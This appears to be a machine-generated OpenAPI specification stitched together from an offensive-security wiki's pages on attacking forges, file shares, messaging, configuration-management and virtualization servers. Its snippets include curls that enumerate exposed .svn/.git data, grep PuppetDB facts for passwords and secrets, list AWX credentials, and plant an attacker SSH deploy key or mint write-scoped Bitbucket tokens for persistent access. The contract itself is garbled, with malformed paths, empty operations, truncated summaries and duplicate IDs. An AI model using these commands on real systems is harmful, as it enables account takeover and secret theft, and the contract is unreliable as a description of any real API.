Cyber Library API

openapi: 3.1.0
info:
  title: Cyber Library API
  version: '2026-11-04'
  description: 'GENERATED FROM DOCUMENTATION by API Evangelist on 2026-11-04: 31 operation(s) read from 27 public documentation page(s) (each
    operation names its page in x-source). This is not the provider''s published contract; Cyber Library has published no machine-readable contract
    that the pipeline could find. Engine: local.'
  x-evidence-tiers:
    code-example: 22
    documentation: 9
    pages-with-code: 26
    pages-read: 27
  x-generated-from: documentation
  x-provenance: generated
  x-authored-by: API Evangelist
  x-generated: '2026-11-04'
  x-generator: generate-contract-from-docs.py
  x-engine: local
  x-sources:
  - https://www.cyberlibrary.com/en/docs/offensive/software/operating-systems
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/online
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/client
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/file-share
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/messaging
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/identity
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges/bitbucket/token-and-app-password-abuse
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/file-share/web-file-access
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/file-share/web-file-access/webdav/discovery-and-methods
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/messaging/email
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/messaging/instant-messaging
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/messaging/exchange
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/monitoring/platforms/solarwinds-orion/enumeration
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/remote-access/out-of-band-management
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/remote-access/out-of-band-management/redfish-api
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/virtualization/vmware
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/virtualization/kvm/microvm-monitors/cloud-hypervisor
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/web/platform/reverse-proxy-and-edge/edge-header-trust
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/ansible
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/chef
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/puppet
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/saltstack
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning/git
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning/svn
  - https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning/svn/exposed-svn-directory
paths:
  /:
    options:
      operationId: options
      tags:
      - Api
      summary: OPTIONS /
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/file-share
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl -s -X OPTIONS http://<target>/ -i | grep -i dav # WebDAV \n Read the open ports to the subtopic: 445/2049/548 to network\
          \ file systems , 21/22/69/873 to transfer protocols , and 80/443 serving files to web file access . Then, for each, the recurring questions\
          \ are the same: is access anonymous or weak, is it readable (loot) or writable (execution and coercion), and does the server implementation"
    put:
      operationId: put
      tags:
      - Api
      summary: Discovery and methods
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/file-share/web-file-access/webdav/discovery-and-methods
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /.git/HEAD:
    get:
      operationId: get_git_HEAD
      tags:
      - API
      summary: Versioning
      description: Check if the .git metadata directory is exposed via HTTP.
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /.svn/entries:
    get:
      operationId: get_svn_entries
      tags:
      - API
      summary: 'SVN Attacking Subversion: recovering a web-exposed .svn working copy to reconstruct source and metadata from the wc.db database
        and pristine store, and reaching Subversion repository history and crede'
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning/svn
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /.svn/pristine:
    get:
      operationId: get_svn_pristine
      tags:
      - API
      summary: GET /.svn/pristine
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning/svn/exposed-svn-directory
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl -s \"https://target/.svn/pristine/ ${hex:0:2} / ${hex} .svn-base\" -o \"src/path\" \n Read local_relpath for the original\
          \ tree layout and checksum to locate the content; reassemble into the source tree. \n Legacy layout and automation # \n For the pre-1.7\
          \ layout, pull each directory's .svn/entries to learn the filenames, then fetch .svn/text-base/<file>.svn-base . In both cases a dedicated\
          \ extractor"
  /.svn/pristine/:
    get:
      operationId: get_svn_pristine
      tags:
      - API
      summary: Exposed .svn directory
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning/svn/exposed-svn-directory
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /.svn/wc.db:
    get:
      operationId: get_svn_wc_db
      tags:
      - API
      summary: Versioning
      description: Check if the .svn working copy database is exposed via HTTP.
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/versioning
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /2.0/repositories/ACME/payments-api/access-tokens:
    put:
      operationId: put_2_0_repositories_ACME_payments_api_access_tokens
      tags:
      - '2'
      summary: PUT /2.0/repositories/ACME/payments-api/access-tokens
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges/bitbucket/token-and-app-password-abuse
      requestBody:
        required: true
        content:
          application/json:
            schema:
              $ref: '#/components/schemas/Put20RepositoriesAcmePaymentsApiAccessTokensRequest'
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -s " ${AUTH[@]} " -X PUT  https://api.bitbucket.org/2.0/repositories/ACME/payments-api/access-tokens  -H ''Content-Type:
          application/json''  -d ''{"name":"ci-maintenance","scopes":["repository:write","pipeline:write"]}''  | jq -r ''.token'' '
  /2.0/repositories/ACME/payments-api/deploy-keys:
    get:
      operationId: get_2_0_repositories_ACME_payments_api_deploy_keys
      tags:
      - '2'
      summary: GET /2.0/repositories/ACME/payments-api/deploy-keys
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges/bitbucket/token-and-app-password-abuse
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl -s -o /dev/null -w '%{http_code} admin\\n' \" ${AUTH[@]} \"  https://api.bitbucket.org/2.0/repositories/ACME/payments-api/deploy-keys\n\
          \ A 200 on deploy-keys means repository admin, the strongest position: you can plant an SSH deploy key or a new access token for durable\
          \ access. A 200 on pipelines_config plus repository write is the handoff to Pipelines abuse . \n Acting within the grant # \n Enumer"
    post:
      operationId: post_2_0_repositories_ACME_payments_api_deploy_keys
      tags:
      - '2'
      summary: POST /2.0/repositories/ACME/payments-api/deploy-keys
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges/bitbucket/token-and-app-password-abuse
      requestBody:
        required: true
        content:
          application/json:
            schema:
              $ref: '#/components/schemas/Post20RepositoriesAcmePaymentsApiDeployKeysRequest'
      responses:
        '201':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl -s \" ${AUTH[@]} \" -X POST  https://api.bitbucket.org/2.0/repositories/ACME/payments-api/deploy-keys  -H 'Content-Type:\
          \ application/json'  -d '{\"label\":\"backup\",\"key\":\"ssh-ed25519 AAAA... attacker\"}' \n The returned access token is a fresh ATCTT...\
          \ credential bound to the repository, a separate principal that keeps working even after the credential you came in on is rotated. \n\
          \ Variants and foll"
  /2.0/repositories/ACME/payments-api/pipelines_config:
    get:
      operationId: get_2_0_repositories_ACME_payments_api_pipelines_config
      tags:
      - '2'
      summary: GET /2.0/repositories/ACME/payments-api/pipelines_config
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges/bitbucket/token-and-app-password-abuse
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: curl -s -o /dev/null -w '%{http_code} pipelines\n' " ${AUTH[@]} "  https://api.bitbucket.org/2.0/repositories/ACME/payments-api/pipelines_config
  /2.0/repositories/{workspace}:
    get:
      operationId: get_2_0_repositories_workspace
      tags:
      - '2'
      summary: GET /2.0/repositories/{workspace}
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges
      parameters:
      - name: workspace
        in: path
        required: true
        schema:
          type: string
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -s https://api.bitbucket.org/2.0/repositories/<workspace> # Bitbucket: workspace repos '
  /2.0/user:
    get:
      operationId: get_2_0_user
      tags:
      - '2'
      summary: GET /2.0/user
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges/bitbucket/token-and-app-password-abuse
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl -s -H \"Authorization: Bearer $BB_SECRET \" https://api.bitbucket.org/2.0/user\n Interpret the responses. A 200 from the\
          \ Basic-auth /2.0/user call with an email as the username is a live Atlassian API token. A Bearer token that 401 s on /2.0/user but\
          \ succeeds on a repository endpoint is a repository access token : it has no user identity and is bound to exactly one repository, so\
          \ that binding te"
  /{domain}/.well-known/openid-configuration:
    get:
      operationId: get_domain_well_known_openid_configuration
      tags:
      - API
      summary: Identity Attacking cloud-hosted identity providers and directories
      description: Retrieves the OpenID Connect configuration for a given tenant domain.
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/identity
      parameters:
      - name: domain
        in: path
        required: true
        schema:
          type: string
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /Orion/Login.aspx:
    get:
      operationId: get_Orion_Login_aspx
      tags:
      - Orion
      summary: Enumeration
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/monitoring/platforms/solarwinds-orion/enumeration
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /_matrix/client/versions:
    get:
      operationId: get_matrix_client_versions
      tags:
      - Matrix
      summary: 'Attacking real-time messaging infrastructure: the open chat protocols with multiple server implementations (IRC, XMPP, Matrix)
        and the self‑hosted team‑chat platforms reached as web applications and A'
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/messaging/instant-messaging
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /api/info:
    get:
      operationId: get_api_info
      tags:
      - Api
      summary: 'Attacking real-time messaging infrastructure: the open chat protocols with multiple server implementations (IRC, XMPP, Matrix)
        and the self‑hosted team‑chat platforms reached as web applications and A'
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/messaging/instant-messaging
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /api/v1/vm.info:
    get:
      operationId: get_api_v1_vm_info
      tags:
      - Api
      summary: GET /api/v1/vm.info
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/virtualization/kvm/microvm-monitors/cloud-hypervisor
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl --unix-socket /run/cloud-hypervisor.sock -s http://localhost/api/v1/vm.info\n text copy Escape and abuse surface:\n- virtio\
          \ device virtqueue handling (shared rust-vmm/virtio code) - the main guest surface\n- VFIO device passthrough, when configured: a passed-through\
          \ physical device widens\n the surface to that device's driver and DMA, and weakens isolation versus emulation\n- the HTTP API: lifecyc"
  /api/v2/credentials:
    get:
      operationId: get_api_v2_credentials
      tags:
      - Api
      summary: GET /api/v2/credentials
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/ansible
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -sk -H "Authorization: Bearer $TOKEN " https://awx/api/v2/credentials/ | jq ''.results[].name'' '
  /api/v2/credentials/:
    get:
      operationId: get_api_v2_credentials
      tags:
      - Api
      summary: list credentials
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/ansible
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /api/v2/job_templates/<:
    post:
      operationId: post_api_v2_job_templates
      tags:
      - Api
      summary: POST /api/v2/job_templates/<
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/ansible
      responses:
        '201':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: "curl -sk -H \"Authorization: Bearer $TOKEN \" -X POST https://awx/api/v2/job_templates/< id >/launch/\n An admin session (default\
          \ admin credentials, SSO gaps, or a leaked token) lets you launch a template, add a malicious one, or use a stored credential inside\
          \ a job that prints or exfiltrates it; the API never returns the secret values directly. A foothold on the AWX host with the database\
          \ and SECRET"
  /api/v4/projects:
    get:
      operationId: get_api_v4_projects
      tags:
      - Api
      summary: GET /api/v4/projects
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges
      parameters:
      - name: search
        in: query
        required: false
        schema:
          type: string
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -s https://gitlab.com/api/v4/projects?search=<org> # GitLab: project search '
  /api/v4/system/ping:
    get:
      operationId: get_api_v4_system_ping
      tags:
      - Api
      summary: 'Attacking real-time messaging infrastructure: the open chat protocols with multiple server implementations (IRC, XMPP, Matrix)
        and the self‑hosted team‑chat platforms reached as web applications and A'
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/messaging/instant-messaging
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /api/v4/users/login:
    post:
      operationId: post_api_v4_users_login
      tags:
      - Api
      summary: Authentication
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/client
      responses:
        '201':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /orgs/{org}:
    get:
      operationId: get_orgs_org
      tags:
      - Orgs
      summary: GET /orgs/{org}
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/forges
      parameters:
      - name: org
        in: path
        required: true
        schema:
          type: string
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -s https://api.github.com/orgs/<org> # GitHub: public org + repo metadata '
  /owa/auth/logon.aspx:
    get:
      operationId: get_owa_auth_logon_aspx
      tags:
      - Owa
      summary: GET /owa/auth/logon.aspx
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/messaging/exchange
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -sk -I ''https://mail.example.com/owa/auth/logon.aspx'' | grep -iE ''X-OWA-Version|X-FEServer'' '
  /pdb/query/v4/facts:
    get:
      operationId: get_pdb_query_v4_facts
      tags:
      - Pdb
      summary: GET /pdb/query/v4/facts
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/puppet
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -s ''http://localhost:8080/pdb/query/v4/facts'' | jq ''.[] | select(.name|test("password|secret|key";"i"))'' '
  /pdb/query/v4/nodes:
    get:
      operationId: get_pdb_query_v4_nodes
      tags:
      - Pdb
      summary: PuppetDB query API
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/configuration/puppet
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /redfish/v1/:
    get:
      operationId: get_redfish_v1
      tags:
      - Redfish
      summary: Out-of-band management gives remote control of a server's hardware independent of its OS, through the baseboard management controller
        (BMC) speaking IPMI and vendor stacks (iDRAC, iLO) with the Redfis
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/remote-access/out-of-band-management
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /sdk/vimServiceVersions.xml:
    get:
      operationId: get_sdk_vimServiceVersions_xml
      tags:
      - Sdk
      summary: VMware's virtualization stack spans the bare-metal ESXi hypervisor, the vCenter management plane that controls fleets of hosts,
        and the desktop products Workstation and Fusion.
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/server/virtualization/vmware
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: documentation
  /{domain}:
    get:
      operationId: get_domain
      tags:
      - Api
      summary: GET /{domain}
      x-source: https://www.cyberlibrary.com/en/docs/offensive/software/applications/online/identity
      parameters:
      - name: domain
        in: path
        required: true
        schema:
          type: string
      responses:
        '200':
          description: Success (status as documented)
      x-evidence:
        kind: code-example
        language: curl
        snippet: 'curl -s "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | python3 -m json.tool | head '
components:
  schemas:
    Put20RepositoriesAcmePaymentsApiAccessTokensRequest:
      type: object
      properties:
        name:
          type: string
        scopes:
          type: array
          items:
            type: string
    Post20RepositoriesAcmePaymentsApiDeployKeysRequest:
      type: object
      properties:
        label:
          type: string
        key:
          type: string
  securitySchemes:
    bearer:
      type: http
      scheme: bearer
security:
- bearer: []
tags:
- name: '2'
- name: API
- name: Api
- name: Matrix
- name: Orgs
- name: Orion
- name: Owa
- name: Pdb
- name: Redfish
- name: Sdk